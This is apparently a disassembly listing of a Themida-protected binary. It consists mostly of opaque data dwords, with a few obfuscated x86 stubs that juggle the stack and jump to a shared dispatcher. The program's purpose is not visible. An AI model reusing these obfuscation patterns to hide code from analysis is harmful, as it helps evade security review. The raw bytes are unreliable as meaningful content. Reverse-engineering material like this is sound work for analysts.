dd 726019AFh, 0C4000000h, 0C269FC2Ch, 0A3F28BF6h, 0B9696F49h
dd 0A3F25ACBh, 0EFDDA549h, 49A3F27Eh, 6B55F6C9h, 61110610h
dd 4AF18CB8h, 0F26CDDB1h, 0E4B749A3h, 0F1EF604Eh, 673A49A3h
dd 0BFB1247Dh, 12B19AEh, 8F000000h, 0BE65002Ch, 4E7E0B37h
dd 0D67710B7h, 0E079A82Fh, 54E27539h, 8A1FBEEAh, 0CD3E2CDCh
dd 1849A3F2h, 2A5A5B45h, 9848F68Bh, 0A3F239AAh, 0C7B18449h
dd 7AF92CFBh, 196EEA4Bh, 9F2B6FDAh, 1DBE57FEh, 8465E876h
dd 3CE746D4h, 0CEDB4C3Ah, 532649A3h, 9BC7C8B2h, 3EA455FCh
dd 3179B5BBh, 59434C1Bh, 0D30630FEh, 0D606AD42h, 0BF9A93Fh
dd 49A3C19Ah, 0F2812E5h, 0FAAD881h, 0E4E5CF68h, 0DC851BB6h
dd 0B70850A9h, 14096C70h, 0D2708973h, 6DF021EFh, 6F5DF528h
dd 49A363FEh, 0F00D7649h, 17705A28h, 19AF57CEh, 0B22Ch
dd 7EAB5400h, 0B59F38DFh, 68F92CE9h, 60FB29D2h, 1D3620B9h
dd 26CD6896h, 0D741CF62h, 0BD2E1CA4h, 849A3F2h, 58FF9435h
dd 5EE58C25h, 68EF962Fh, 71F89F3Ah, 92FDA43Fh, 993FFF49h
dd 7F6668B6h, 5D19AEBEh, 98h, 19ACDC85h, 0F92C632Fh, 8333C168h
dd 0F274E5D3h, 0ECBF49A3h, 0A3F2A718h, 131F249h, 245CC566h
dd 4DFDA432h, 0F82A2B15h, 0FA8DBF68h, 75E6BA53h, 0C049A33Bh
dd 0CBDB84EDh, 5D78316Bh, 0BDA515BCh, 0FE6F5D0Dh, 4949A370h
dd 7131A276h, 0A97C49A3h, 65DA64BFh, 7156C7B5h, 0CEA149A3h
dd 15B0E3E4h, 6E70FC7Fh, 0F24B42F0h, 258F0108h, 0A60DA2A2h
dd 4D7D51A3h, 0D97A13BAh, 23C2EEEFh, 2EB5E48Dh, 0DAC46500h
dd 2F87F5C1h, 166F49A3h, 830FC608h, 1CD19AFh, 31000000h
dd 0BC63FE2Ch, 0CB720535h, 1F091760h, 13C156F1h, 22A43A90h
dd 43AC9764h, 0EFDFBD77h, 2A4D3750h, 0F590BCA2h, 56D0BE54h
dd 7147A287h, 0C125CD6h, 0FA9BAA73h, 99CCC53h, 0EA1DC674h
dd 3C6C6D57h, 386A13A9h, 2249BAA8h, 0C194439Ch, 0C5F27920h
dd 849D8728h, 9C224DB8h, 0C45F8D43h, 0D263961Dh, 0CF761143h
dd 1A1A245Fh, 6FD967A2h, 6C13A83Fh, 7B02A93Ch, 6D16AC4Bh
dd 0F38EBC3Dh, 7C12AB52h, 9C221D8Eh, 0AB956843h, 0CB7BE192h
dd 0B259F422h, 22D44519h, 841F439Ch, 98F7B997h, 4B35D6C8h
dd 0C8F826F0h, 3C99982Dh, 9E1FB5E2h, 158h, 8A820A02h, 0FA5806F4h
dd 5B2347A2h, 9CE8FC6Dh, 0D3744743h, 0F475A52Ch, 0EF882FC2h
dd 0E8FA6B59h, 7245439Ch, 65953CD1h, 0F49D2BD2h, 41422CC5h
dd 5DE07611h, 5E7663D4h, 5F8B1A8Bh, 968019C0h, 513CC7Dh
dd 0B64CEB1Bh, 0F8A71806h, 1FF2439Bh, 0A62F2E35h, 341FB6B9h
dd 40h, 8F830A98h, 0EA5B49F9h, 3549A3F1h, 82707862h, 49A3F261h
dd 7D184B0Ch, 0F86935DCh, 1C49A3F0h, 0AA31FD4Bh, 0ED7020B6h
dd 959EAFBCh, 0C56093D5h, 0D3F43A24h, 7E49A3E3h, 0BD7516ABh
dd 0EB000000h, 0F48A820Ah, 47D25F71h, 40CFE487h, 37D07712h
dd 0E557454Dh, 3047A294h, 2917C75Dh, 439C94B8h, 2D463003h
dd 49DF76A6h, 943AAB99h, 0B285439Ch, 6F59F423h, 1C0ABA68h
dd 439C94ABh, 720535F6h, 0B6E6E7D1h, 0F4AC781Fh, 9B439C93h
dd 0DE61D660h, 0CF9D3439h, 6C6D577Eh, 4B14A93Ch, 8535CBC3h
dd 0FC76E7D5h, 0EEC1439Bh, 4B64BE04h, 0AC7F4192h, 0C94E7E05h
dd 0BE57FE99h, 0BD64032Fh, 71DC8324h, 860E1E28h, 0B00AF88Eh
dd 0BD3B83FAh, 0BC4BE614h, 120CF68Fh, 76F9A93Fh, 66DAD276h
dd 65D6AA24h, 0B0377F9Ah, 3EECF3DDh, 6A10FCBBh, 75A7EEF9h
dd 0BDAB41E2h, 377F5E4Ch, 0EDAC497h
dd 0F48A820Ah, 9A41AC06h, 0D306C747h, 61029B42h, 8E7C2CBAh
dd 4395A11Dh, 0D8069568h, 13FD963Dh, 0AD43E212h, 0A19E0FFDh
dd 21E94395h, 95A1C233h, 993A0D43h, 0D101A8AFh, 7E018F36h
dd 3C7F981Fh, 0BA00EA13h, 0E362D4Ah, 0C26CBA4Dh, 0B75EF392h
dd 0BB49F087h, 5943E212h, 0FA902958h, 9CEB5C4Ah, 6336F7F3h
dd 0A6D96079h, 0B0DD640Bh, 17AA6E15h, 519A0D09h, 992959C7h
dd 0F39D3AABh, 11B285F7h, 4AA5D57Ch, 8C7AF01Fh, 0F7F3B11Bh
dd 292A9366h, 8A7CE554h, 0D46C0AB4h, 0DB5C03A4h, 0Ah, 97405E51h
dd 912AD164h, 0FB2CDBA7h, 0C3CC36Ah, 194BD279h, 2350D77Eh
dd 295CE38Ah, 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h
dd 816711B8h, 4ECh, 243C8900h, 0C781E789h, 4, 8704EF83h
dd 535C243Ch, 0C381E389h, 4, 8704EB83h, 895C241Ch, 56682434h
dd 8900006Ch, 0BA522404h, 60E5126h, 24348152h, 1511EB1h
dd 0B1F6815Eh, 5A01511Eh, 2FDC68h, 24248900h, 4240483h
dd 8BB5358h, 1000000h, 38F56C3h, 24048B5Bh, 81E38953h
dd 4C3h, 4C38100h, 87000000h, 0FF5C241Ch, 815E2434h, 4C4h
dd 2639E900h, 3C0DFFF9h, 0B8A0FAEEh, 60E56C4h, 0E0FFC503h
dd 72D9ECEDh, 3CC505E5h, 3C1B3DF5h, 2BE7CB33h, 36FF4EBCh
dd 3020EA07h, 6C72D23Ch, 42DDC5A8h, 75ECD0E1h, 713F85B9h
dd 0C654480h, 2108AD14h, 5C8F36C3h, 4BE3C765h, 1CF5125Ah
dd 0E8D004EBh, 6DE96FF7h, 8C000005h, 8E35CA5Bh, 872EC362h
dd 8229BE59h, 7E25BA53h, 8A25BA4Bh, 0F184B772h, 0ED88B55Ch
dd 0E47FB158h, 0DD78A84Fh, 1F0D7B48h, 43959BAEh, 2510E2F9h
dd 2E8A2AA2h, 4EED0C2h, 8D34D303h, 905D7CFFh, 0A11A793Dh
dd 5B45E012h, 0F88E275Ah, 699B1C4Fh, 3C432DCEh, 0B5E46595h
dd 3BDC751Ch, 4ADD0D94h, 55F01CA3h, 0C957EAAEh, 3982F5Fh
dd 0FB7CAC55h, 0E99031CCh, 0F6973662h, 50D90B0Ch, 54E98A23h
dd 52E87BADh, 5F43B4A2h, 0BB8E49A3h, 7A2AB8D1h, 0A35F1B8Ch
dd 992C5F49h, 53543E11h, 75E08726h, 234E22Ch, 333DA6Fh
dd 83F1BD64h, 6B49A35Fh, 0F590BC65h, 0B166B00Bh, 9940D908h
dd 18BD1600h, 0C219AF53h, 77h, 4F7C2526h, 9BCBCCB6h, 0F2A81907h
dd 0C0EC49A3h, 29CA9D25h, 0F24BB682h, 0D62F49A3h, 0C04F8648h
dd 0F67919AEh, 0EB5ACD1h, 6A5E48ABh, 1, 4C7C25CEh, 0F0C886F1h
dd 0F596EAEEh, 51DE0A0Bh, 49E28924h, 3A6912A8h, 755FF89Fh
dd 0EA9D55Ch, 3A2CF78h, 4A790019h, 3E7019AFh, 7963FCA3h
dd 3F099C60h, 0B54AE511h, 0F8695707h, 4349A391h, 55858670h
dd 25BB2DC2h, 0CBB5507Ch, 353697CAh, 3A099909h, 3AC16809h
dd 17C86F0Eh, 0A21301B1h, 0C49A33Fh, 40400820h, 3508905Dh
dd 0F826F04Bh, 0F0972CC5h, 0F77E25C0h, 0E9872EC9h, 0E47DB059h
dd 4F919FFAh, 19AEE496h, 490AAD30h, 0DA811446h, 885AD841h
dd 81FCF0DAh, 24000000h, 9B04F7Bh, 2CBA8670h, 0AE477AF9h
dd 37CD6E07h, 0AADC5B8Eh, 36D77017h, 7EAC334Ch, 0E5783CE3h
dd 27BAED5Bh, 82F3E191h, 0CD49A3F2h, 5B0910FAh, 3CE382B2h
dd 0F24FC0AEh, 0C79A49A3h, 83B3C26h, 103FC66Dh, 0F2219280h
dd 396549A3h, 0D65EF79Eh, 1DBB6203h, 7EEFDD8Dh, 0C949A3F2h
dd 67B10CF6h, 0AEBE8461h, 417619h, 2CDA0000h, 29D268F9h
dd 5E7761FCh, 6B12A5D7h, 0C876C0FBh, 0F567FC95h, 16877525h
dd 6149A3F2h, 77A3A48Eh, 0F76531D8h, 0DF49A3F1h, 9F36B886h
dd 2919AEC0h, 0E61A8B79h, 926549A3h, 1B4A8h, 2C180000h
dd 35BC63FEh, 0F6578405h, 0B3C7B2E7h, 933ADB6Ch, 9E396BFAh
dd 16BD5EF7h, 0DC0CB5ABh, 3A045F49h, 0AE43DE0Ch, 0F1625000h
dd 3C49A35Bh, 0D45C7F69h, 0A89646DCh, 49A35C37h, 0BDC5AF82h
dd 0A27355CFh, 0F69D7047h, 13A83F6Fh, 0F48DBC65h, 3ED9090Ah
dd 0D1860997h, 0F9DCB56Bh, 7BE62C16h, 0D2439CAFh, 6F9F8997h
dd 6C9C43D8h, 751CBBEBh, 0FCA53BDCh, 0B9239CCh, 0B6A041DCh
dd 61E6169Dh, 59F29934h, 739F22B8h, 0F4F5D3B3h, 75263F29h
dd 94C472BCh, 686D6C01h, 721FB62Eh, 171h, 93A225D6h, 4EAB342h
dd 7F072A14h, 5503F187h, 2047A27Ch, 0A134B74Dh, 88371192h
dd 5DE4FDE7h, 81049A2Dh, 4476AB14h, 9C1F2470h, 63208EF7h
dd 16B42513h, 2CFF439Ch, 0F39AA18Bh, 0F67D24C3h, 0D7882FC6h
dd 0FD98C871h, 0C06EB813h, 0A1120090h, 0EC439C16h, 35E37819h
dd 1DC45D8Ch, 8F00EE84h, 0DA439C16h, 11C41D07h, 0B71FB69Ch
dd 0DA43E20Eh, 3F6E55FAh, 9FDE7F5h, 46h, 0A5D88131h, 0E2C7380Ch
dd 5112439Ch, 0FCE68722h, 4A7C2530h, 23AACDB7h, 8AAB992Fh
dd 2749A3F2h, 0CFB94C7Eh, 8F5B02D5h, 49A3F21Eh, 57A77142h
dd 9D46DCD0h, 0E6EED86Bh, 0A3F2D7F8h, 1AAF8249h, 0B079h
dd 0A225EF00h, 0DF3D2D19h, 0FA1D07E7h, 0F6E47A72h, 47A2D284h
dd 0CE55FCCFh, 0CB72079Eh, 46DF0E9Bh, 7A32FEA5h, 21439CD2h
dd 0C5609039h, 88B680DBh, 5F28BD58h, 5B49DFD7h, 4193197Bh
dd 0A128CFA2h, 22BBE871h, 9A41E27Bh, 0E089392Fh, 0CF4014ADh
dd 0C3D8E79h, 8E79AD1Eh, 9D25F83Dh, 2C542C02h, 7D1E7EF6h
dd 8027BEEEh, 94A2FDE7h, 102F20A3h, 0E3BA2B17h, 564ED6F9h
dd 0B12210C0h, 0FC3D8E52h, 87373F29h, 5278E9D7h, 2C33D8Eh
dd 0F38C33D2h, 42226852h, 693B849Bh, 62500096h, 377FFAF1h
dd 0E36B0635h, 711F2610h, 553FF1EEh, 3A24B4EAh, 9C820A6Eh
dd 770D96Ch, 6FC26FE5h, 8535CB6Ch, 7017AADCh, 7B22BDE9h
dd 84B241E2h, 0D9B9FFE9h, 479965h, 0D7780F3Fh, 0F079A930h
dd 0ED8223BEh, 0D87F1646h, 0FD30110Ch, 31B4F42Bh, 95801716h
dd 78D3BDA6h, 0B55080AEh, 0C0497920h, 0C157F891h, 2F5FE818h
dd 0B758F198h, 748D7710h, 7C23BEEDh, 0D07EC811h, 0C27005A0h
dd 53B32412h, 2BFED99Bh, 75104041h, 34DCEh, 5EC30000h
dd 6AFB2C7Ch, 790C3CC3h, 7E194BD2h, 8A2350D7h, 98295CE3h
dd 9E376AF1h, 0A84170F7h, 0B14C7A01h, 0B857830Ah, 98686711h
dd 8900004Ah, 8952240Ch, 4C281E2h, 83000000h, 148704EAh
dd 0C895C24h, 63E06824h, 34890000h, 5735B924h, 0D1F71AEBh
dd 6F75C181h, 81492F4Eh, 0FFFFFFE9h, 9FF181FFh, 68126D4Fh
dd 3292h, 81242489h, 42404h, 525E0000h, 5689CA89h, 24148B08h
dd 0FF04C483h, 815E2434h, 4C4h, 240C8B00h, 81E78957h, 4C7h
dd 4C78300h, 5C243C87h, 0F9207AE9h, 300D4BFFh, 0E5C8FB8h
dd 0FFC50306h, 805219E0h, 0F98D692Bh, 0CDDD0943h, 0EB68DC5Ah
dd 24C58814h, 9803D247h, 5FA6C906h, 44ED1924h, 3B7E9A3Eh
dd 0B111D64Fh, 6D49B249h, 63ECE314h, 63F6F464h, 9F089D1Fh
dd 8E5AAA0Dh, 290BFC3Fh, 6E9A373Dh, 4C95EB69h, 0DC4DE36h
dd 0DD04EB74h, 0E9330C95h, 54Eh, 62F78EBFh, 5BF08FBBh
dd 56EB86B4h, 50E580AFh, 46DB76A9h, 0A5D893ABh, 0A3D0770Ch
dd 9CCE750Ah, 9DCD7409h, 3AA8750Ah, 9595DB4Ch, 3D0F2643h
dd 0C269FC2Ch, 0D86D083Bh, 0BF660131h, 8A780838h, 49A3F219h
dd 9A60C964h, 8EAF02EAh, 1EA54CEDh, 0E8AC53F2h, 2D5DCB55h
dd 0F246B7A5h, 0BE9149A3h, 0AFE1881Dh, 0A6D87F14h, 2DD6640Bh
dd 532E9FFAh, 0C7199730h, 0E3B3C26h, 145DC86Fh, 57EA1C0Ah
dd 3D6B14C2h, 7862FBA2h
dd 1AB04777h, 55DF4271h, 4880F95Bh, 0D16A11B2h, 8F791442h
dd 323CAA76h, 0CB2449A3h, 805A7B7Dh, 598019AFh, 0A8000000h
dd 8C33D2FFh, 2C3D09F3h, 0F6C269FCh, 49A3F28Bh, 21E6696Fh
dd 463CA5B9h, 8791ECD6h, 0AF7F9441h, 0C0AF3219h, 294026BFh
dd 1FAEED8h, 5E000000h, 0B74A7C25h, 8C8D7710h, 971EC560h
dd 9E25CC6Bh, 6B2FD66Fh, 0B4E04ED8h, 38008319h, 0DD4F20BDh
dd 27CED5BFh, 59CB60F7h, 0B5507C25h, 8A8B750Eh, 7828BE57h
dd 0A3F2198Ah, 0A7916449h, 3CDB078Eh, 1D2BE495h, 0D0650033h
dd 13847222h, 5E49A3F2h, 70A0A18Bh, 8122B5E7h, 952553DAh
dd 0A3F236A7h, 0DAE8149h, 8838C866h, 0A3F2299Ah, 0B7A17449h
dd 0D90CD25Ch, 319AEBDh, 8Fh, 68F92C67h, 5A8A33C1h, 917B14BBh
dd 20C76290h, 25CC6799h, 33DA6B9Eh, 7EBE88C3h, 2FEF72B2h
dd 0DB68F94h, 0D1B7660h, 0C055F023h, 0A44BE619h, 408BEE1Dh
dd 0A91B46C8h, 715DD5ABh, 33D40CAAh, 0BD4DEB92h, 654FE214h
dd 620B3C0Ah, 592E9736h, 989EBDE2h, 6085DEC8h, 6619AFAAh
dd 4CF38EBDh, 58FF92C5h, 9A881EBFh, 49A30C29h, 0C3B7A174h
dd 4Eh, 68F92C27h, 6D083AC1h, 0D1B56C6h, 0BF55F023h, 0F2B0210Fh
dd 28FB49A3h, 2CC5373Eh, 26CF6500h, 1BB45BFAh, 0DE4C1831h
dd 0C649A3F2h, 0A1723DC0h, 0A2767AD4h, 0DD35DB8h, 19AF8BC8h
dd 0D12h, 62913A00h, 650CA7D9h, 0EB842BCCh, 0FE2C3501h
dd 535BC63h, 1AC15484h, 0CE39E081h, 5A7F55D8h, 58FF9AC9h
dd 9AE456BFh, 0F48FBD4Ch, 0B761AF0Ah, 9059EE89h, 8C7A1008h
dd 47A27712h, 7ADF922Dh, 2B942F61h, 22B84956h, 9CB7C334h
dd 9A3B0E43h, 0A93C6CF3h, 0AA3D6D14h, 0B7CC3703h, 0E823439Ch
dd 5DC0F05Eh, 0CCB17331h, 0C055F6BAh, 9C376912h, 0A5406EF5h
dd 0DAC465FEh, 670EA9D9h, 680130D9h, 3D3E28C1h, 22D37A0Dh
dd 4171DF69h, 68D10A6h, 760F4221h, 0E6243C0Dh, 0DFF6F5FCh
dd 0FD1FB5DDh, 169h, 8A820A61h, 0FA5806F4h, 502347A2h
dd 0FFD537BAh, 76334339h, 9CD21788h, 0EE8F6243h, 3464EB04h
dd 45E681B3h, 3ED909B0h, 45E01097h, 0EA34ED9Eh, 0E3790C3Ch
dd 0C46B0A3Ah, 0D2D74836h, 4F22439Ch, 6F3045AEh, 0DEA432A2h
dd 0E7EEEDF4h, 0F51FB69Ch, 83h, 0E7F6D1Dh, 4B439C21h, 9C20EC5Dh
dd 0DC643743h, 25531F09h, 66D7C575h, 0B149A3F2h, 0F2990ADEh
dd 0E8D649A3h, 49A3F277h, 9467EFC2h, 62CCE42Bh, 4731F5DDh
dd 13A99D24h, 0EF8EBA63h, 0FA95C148h, 2F19BA53h, 0A383C8E9h
dd 0F9A07349h, 0A383BC2Dh, 37D20049h, 42DD0990h, 0E731EA9Bh
dd 99A77827h, 7C12068Dh, 0A3836D8Eh, 4B7D1849h, 65744BE6h
dd 0FAA339DAh, 7A1543CCh, 0AF9932D9h, 9307A8h, 257D0000h
dd 0F2168775h, 8E6149A3h, 1F981A4h, 0EE0B7D6Bh, 9F4847A2h
dd 0F6F0DA6Dh, 0C5F57C23h, 0C6F69D32h, 93811141h, 439CEE22h
dd 58F99A6Dh, 0EE2DE5B1h, 8EBD439Ch, 93C54CF3h, 0DDCB5900h
dd 439CED6Ch, 6435E4B7h, 67765DAh, 51439CEDh, 2A65DD7Eh
dd 6302321Ch, 857D05CEh, 40B001EFh, 0A87B4193h, 0AB4A7A01h
dd 0C6509904h, 20B6AE36h, 0C7B14477h, 0E380D1BFh, 8D3D3B84h
dd 337EEFDDh, 0F6C93780h, 8033B122h, 9A29FC37h, 912AD16Ch
dd 45DAADA7h, 4C7C25D3h, 24ACCFB9h, 36E6962Ch, 0A3F2D748h
dd 654F2249h, 9A45CE1Fh, 30C69947h, 1BC25587h, 0F87F9882h
dd 57CC65C8h, 6BE5A7Eh, 0F929D065h, 19EBB75Eh, 0A0709775h
dd 0E515030Dh, 0E616BD52h, 0F221A84Fh, 0FC45B057h, 79D40432h
dd 8BBC6ACAh, 9D32D385h, 1241C6F6h, 0F3239482h, 9B6E0E91h
dd 31B259FAh, 3, 2C7C5EA7h, 3CC36AFBh, 4BD2790Ch, 50D77E19h
dd 5CE38A23h, 6AF19829h, 70F79E37h, 7A01A841h, 830AB14Ch
dd 6711B857h, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 57240489h
dd 0C781E789h, 4, 8704EF83h, 895C243Ch
db 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push ebp
push 17327F1Bh
mov ebp, [esp]
add esp, 4
neg ebp
shl ebp, 4
sub ebp, 4DC222F6h
xor ebp, 391BB637h
mov eax, ebp
pop ebp
push 47BCh
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push ecx
push esi
mov esi, 8
mov ecx, esi
pop esi
add ecx, ebp
mov [ecx], eax
pop ecx
push dword ptr [esp]
pop ebp
add esp, 4
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_544543
; ---------------------------------------------------------------------------
dw 585Dh
dd 8C4EE81Bh, 19B88826h, 3060E62h, 0C0E0FFC5h, 145DEEB1h
dd 8347F76Dh, 0C296376h, 3B3BE4EEh, 391357E6h, 194FC633h
dd 2A54575Dh, 0C1167CCEh, 765790B6h, 0D44EEBAAh, 0D220570Fh
dd 0BD1A75E7h, 1546A6D2h, 1521E745h, 3D56BA4Dh, 3C40C665h
dd 0BE49BFECh, 45719AD3h, 9A1E57F6h, 0AA076B72h, 9358946Dh
dd 0CD764C64h, 0B222E1DFh, 8751832h, 90F7A07h, 4D228558h
dd 0F5A59F9h, 93394F0Fh, 0EB34C395h, 0E9BBEB04h, 573E907h
dd 0B8E90000h, 0B5E1881Dh, 0B0DE851Ah, 0AAD98015h, 0A0D37A0Fh
dd 0BDD57005h, 0A136CF02h, 9B30CDFAh, 9A2FC2F4h, 8F24C3F3h
dd 0F56654C2h, 4043958Eh, 0FC2C5729h, 5B50D369h, 274CFBC5h
dd 78FF1802h, 6D16AC45h, 0B9C0AA3Dh, 9C43E212h, 0FF705E0Eh
dd 4A49A394h, 1CB5E877h, 0F1F2DC75h, 0F87F26C1h, 38A31CCh
dd 0C933AD5h, 3FA047DAh, 85CE5248h, 0FE39B1C7h, 9528F430h
dd 126D9D8Bh, 1D424216h, 0B55083AAh, 33D4750Eh, 32C5F79Eh
dd 8DFEEC9Ch, 0F749A34Fh, 0AD3AD754h, 9859E1A6h, 4630D16Ch
dd 0CB66983Fh, 0D5709D24h, 0DD78A72Eh, 49BAA836h, 9449A3D3h
dd 670632C1h, 20C55C0h, 0A54CE514h, 0AFF86B0Ch, 0DB07B061h
dd 12FC953Ch, 0F77CDF11h, 0B72757E3h, 33DA75A1h, 0C358F99Ah
dd 0B259EC1Ch, 0A3C478E6h, 0F48DBC49h, 0E99C64Dh, 0FBA243E2h
dd 8787914Ah, 0F8E6969Ch, 49A3C487h, 996FFD2h, 0C9A53DAFh
dd 9EA803EDh, 777226A9h, 73293BD6h, 57A53089h, 633719AFh
dd 9B000000h, 8674FC2Ch, 49A3F215h, 5055C560h, 877E4FB5h
dd 0D29E45E6h, 49A30B67h, 0A795454Bh, 49A30B36h, 69C4AE81h
dd 0A6BC19DFh, 11E19AFh, 82000000h, 0BE65002Ch, 0C56C0B37h
dd 0CF760F3Eh, 0D9801948h, 86A82678h, 2BBAA85Eh, 48B85FFEh
dd 3703030Dh, 0FCA59AA4h, 0F38C33CEh, 41DC0809h, 42D505ACh
dd 7C253BADh, 7710B74Ah, 0C8598C8Dh, 7109321h, 728A6FC1h
dd 413161ECh, 4AEBA0A3h, 0CC335F60h, 4C2BD9CBh, 7A21C2AAh
dd 180610C9h, 962F5EE5h, 4CF3EA2Dh, 0B1522BEAh, 9EB6E1Ch
dd 16D5BDDBh, 0A849DC0Fh, 7E35183Fh, 8872B8A6h, 19C05787h
dd 1AB3E28Bh, 66012F30h, 0F03E21BFh, 0AEE7F7EEh, 3321D119h
dd 49A3D2C2h, 0BA42D306h, 50CA0E1Fh, 5EFFD88Fh, 638074h
dd 25E40000h, 0DD4979A2h, 9687AE6h, 88208924h, 0ADAE9848h
dd 0B940E77Ah, 8549F08Bh, 0C7FA24F2h, 0BFF2992Eh, 0C9F87F26h
dd 8EB8930h, 0F62DB83Eh, 0BBB19AEh, 0A3C0AC1Dh, 3A24F749h
dd 5046h, 0F92CAA00h, 83AC168h, 123FC66Dh, 1845CC73h, 7028FEB5h
dd 0D57652CEh, 0B583BE2Eh, 78C60179h, 750A9BCEh, 70002C03h
dd 0A3F21182h, 0E8895C49h, 0F2077541h, 96EF49A3h, 0BBEE9788h
dd 35A6942Ah, 8049A3F2h, 6B6AC3ADh, 7119AEC0h, 1, 63FE2CD5h
dd 720535BCh, 91760CBh, 97A6818h, 5449A3F2h, 68969781h
dd 5F8E37CDh, 6A11ACD8h, 0F08930D1h, 0AE36FF06h, 0F262D3C1h
dd 3ACC49A3h, 96039AACh, 2FD0A32Bh, 3A31AB99h, 794C47A2h
dd 9EAC60E3h, 953CD906h, 639893FCh, 0FC839C86h, 0F6A439CCh
dd 0A08A1D4Dh, 31D86F9Fh, 9C20FA65h, 8165143h, 0B1769417h
dd 0CAF74ED6h, 50AFDFE0h, 0A5D33C51h, 61CA630Ah, 5AFB9593h
dd 57EE1EC5h, 724E3EC1h, 0D2FF5ED2h, 1848CFE8h, 6C25D67Dh
dd 0C34474A2h, 40DD0A97h, 0B85F0099h, 38E87E1Fh, 0F6CA5D8Fh
dd 439C7D85h, 0A91A08D0h, 0F4439C7Dh, 1A178021h, 84284CAFh
dd 0A09FA690h, 1FB6BD35h, 0FAA7h, 1F4CCF00h, 9AAFBFBEh
dd 0A410DF7h, 6F48A82h, 47A2FA58h, 11BA5023h, 0AA34AE5h
dd 50800720h, 0ACD5CAEDh, 1923B3C3h, 599C0516h, 8B20C1B6h
dd 8B21B4E4h, 6E15B0E2h, 4BD2EBD5h, 24D57C1Bh, 4373DD6Bh
dd 0C5100FA4h, 171FB66Eh, 36h, 8F830A7Bh, 0F2EA0BF9h, 0C29549A3h
dd 0F2DE4F1Bh, 310249A3h, 948232E7h, 49A3F223h, 8EB19B6Eh
dd 8F7D1307h, 49A3F26Eh, 3B14619h, 0A6902D5Ah, 76ABh, 820A2100h
dd 9406F48Ah, 0DF47A2EEh, 0AEDE650Ch, 0E3D18117h, 439CEE72h
dd 37CAFCBDh, 0F7A5AC96h, 0EDE85947h, 6033439Ch, 19039ED1h
dd 335FE818h, 0C554ED94h, 0B45BFC97h, 9CED30E8h, 929CD743h
dd 4CE174A4h, 6D03FB83h, 0B85610EAh, 92FB55D3h, 0CF894FDDh
dd 8D957F8Eh, 92292C9Fh, 0C9704341h, 0CC731242h, 0FE0E1861h
dd 0FAE87E76h, 3B83C687h, 13AEDD9Eh, 256BDD72h, 0F2168775h
dd 0C66149A3h, 0E7C05050h, 0AC963784h, 26140189h, 49A2F6B5h
dd 0F68C2D00h, 99139508h, 32D9AC47h, 47DC7BABh, 0F2E070A0h
dd 43949381h, 0B990F9CCh, 0AF9DA16Dh, 713DE485h, 43F33AC4h
dd 0B96EB84Bh, 9A723636h, 0E1AEFBBAh, 2DA94579h, 656650F1h
dd 660DA235h, 71F89F36h, 9500A742h, 2454C24Ch, 2652FB91h
dd 0B847E087h, 0FC03ED88h, 0C0CA2555h, 0EE364863h, 9516BD5Eh
dd 3, 2C7C5E0Bh, 3CC36AFBh, 4BD2790Ch, 50D77E19h, 5CE38A23h
dd 6AF19829h, 70F79E37h, 7A01A841h, 830AB14Ch, 6711B857h
dd 704168h, 241C8900h, 5E08950h, 4, 8704E883h, 895C2404h
dd 8950240Ch, 405E0h, 0E8830000h, 24048704h, 2404895Ch
dd 477B6857h, 0B95F01D2h, 7E0AABEh, 545FF929h, 8324048Bh
dd 8B6804C4h, 89000045h, 2C81240Ch, 9E322624h, 8408F0Ah
dd 26084081h, 8B0A9E32h
db 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_544543
; ---------------------------------------------------------------------------
dw 0BF30h
dd 682DB858h, 0C503060Eh, 0CA81E0FFh, 0CED2645Bh, 274827F8h
dd 51400CA8h, 1BE24AAFh, 0D44B640Eh, 231970BFh, 608449E0h
dd 0BBFE5AB5h, 473401A4h, 91C43870h, 47424F55h, 0DA654219h
dd 6B232288h, 488A1C95h, 49DE547Fh, 65761A0Fh, 60BB3C1Fh
dd 92184052h, 0FF7E44F6h, 6192626Dh, 67C82DD6h, 42D3148Eh
dd 51836361h, 9F7D532Bh, 0F3632AE8h, 79FB103Bh, 11E86CE9h
dd 4000000h, 6A7FA131h, 0B2F9B8EEh, 0BF6409Ch, 9D0DE604h
dd 0F4AEBF66h, 9E85Bh, 0F2480000h, 0B50A61DDh, 0F3F767Ah
dd 286h, 595F5100h, 5EC7C381h, 81660000h, 0B882E3C9h, 1788h
dd 0D180F181h, 338B0A9Eh, 368EBA60h, 0EF81128Fh, 4A5669C1h
dd 20EE8161h, 817BB2F9h, 0DE47DEEEh, 0BE92Ch, 393C0000h
dd 0E098CB64h, 53BB810h, 8CC681ADh, 66078F9Fh, 3389F98Bh
dd 80595260h, 81614BD1h, 5ECFC8EBh, 81606030h, 2B6A46F1h
dd 61D68B09h, 0C4C38161h, 81305ECFh, 9EA9C7D9h, 850F4822h
dd 0FFFFFF9Eh
db 81h, 0DFh
word_5B3196 dw 8C04h ; DATA XREF: Themida_:0053CC94o
; Themida_:0053D3BCo ...
dd 8D8D0F0Ch, 60E6A69h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 15h, 9BC35242h, 5840F59h, 0BF000000h, 666F6804h
dd 1AD98D89h, 81570607h, 11DB87F0h, 85C7584Bh, 607101Dh
dd 7184h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 19C35646h, 85C7122Dh, 6073305h, 0
dd 0B5FFD78Bh, 6070E85h, 2A9DBD0Bh, 95FF0607h, 6071859h
dd 0BB709DBEh, 0FF006A55h, 70D6995h
dword_5B3228 dd 0EBC08B06h, 4FE6666Eh, 0DA3CF9CAh, 85D9F132h, 4AEADA84h
; DATA XREF: Themida_:0053CF4Co
dd 4E443A78h, 454D8FF0h, 2993C617h, 8BBFD99Bh, 2831ED8Ch
dd 3F743E4Ah, 0FE7A6D2Eh, 0F343E152h, 0BAAE7559h, 823C8108h
dd 25884514h, 58BED968h, 6373142h, 55F710E5h, 0C6234100h
dd 95C29E97h, 15A655h, 0D1F1BA01h, 0A8B3D4Ah, 0A0866A07h
